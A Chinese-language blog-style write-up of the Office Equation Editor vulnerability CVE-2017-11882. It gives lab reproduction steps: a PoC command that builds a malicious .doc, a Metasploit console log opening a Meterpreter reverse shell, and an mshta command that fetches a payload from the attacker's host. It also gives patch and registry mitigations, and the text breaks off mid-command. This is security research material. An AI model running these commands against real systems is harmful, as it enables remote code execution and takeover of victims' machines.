漏洞说明
2017年11月14日,微软发布了11月的安全补丁更新,其中值得注意的是CVE-2017-11882.这个漏洞是Office的内存损坏漏洞,攻击者可以利用这个漏洞以当前登录的用户的身份执行任意命令。
利用这个漏洞需要被害者用受该漏洞影响的Office打开一个精心构造的Office文档。尽管微软只将这个漏洞标为”Important”(重要)而不是“Critical”(高危),但是发现这个漏洞的Embedi 认为它extremely dangerous“极其危险”,因为这个漏洞在过去17年来微软所有的Office版本上都存在,而且可造成远程代码执行。出现问题的模块EQNEDT32.EXE是在Office安装过程中默认安装的,是用来编辑数学公式(以Object Linking and Embedding (OLE) 的形式)的编辑器。
测试存在方法
利用Poc Github地址:https://github.com/starnightcyber/CVE-2017-11882
本地测试环境:windows 7+office2010
本地漏洞测试:
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
直接打开生成的word文档弹出计算机及存在漏洞。
metasploit下复现
将github下载回来的将脚本PS_shell.rb放到metasploit exploit的某个路径下:
我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个word目录存放这个脚本)
脚本放置路径:/usr/share/metasploit-framework/modules/exploits/windows/word/
root@kali-Cotton:~/桌面# mv PS_shell.rb /usr/share/metasploit-framework/modules/exploits/windows/word //将poc移动到目录下
Metasploit下直接加载就行了:
msf > use exploit/windows/word/PS_shell msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(PS_shell) > set lhost 192.168.192.128 lhost => 192.168.192.128 msf exploit(PS_shell) > set uripath abc uripath => abc msf exploit(PS_shell) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.192.128:4444 msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc [*] Local IP: http://192.168.192.128:8080/abc [*] Server started. [*] Place the following DDE in an MS document: mshta.exe "http://192.168.192.128:8080/abc" msf exploit(PS_shell) > [*] 192.168.192.133 PS_shell - Delivering payload [*] Sending stage (179267 bytes) to 192.168.192.133 msf exploit(PS_shell) > [*] Meterpreter session 1 opened (192.168.192.128:4444 -> 192.168.192.133:50130) at 2017-11-27 19:06:00 +0800 msf exploit(PS_shell) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows test-PC\Administrator @ TEST-PC 192.168.192.128:4444 -> 192.168.192.133:50130 (192.168.192.133) msf exploit(PS_shell) > sessions -i 1 [*] Starting interaction with 1...
从上面可以看出,我们要连接到这个地址:http://192.168.192.128:8080/abc
我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:
python Command_CVE-2017-11882.py -c "mshta http://192.168.192.128:8080/abc" -o test.doc
解决方案
1、微软已经对此漏洞做出了修复。
(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
(2)开启Windows Update功能,定期对系统进行自动更新
2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。
按下Win+R组合键,打开cmd.exe
对应office版本修改以下注册表路径以后,输入:
reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000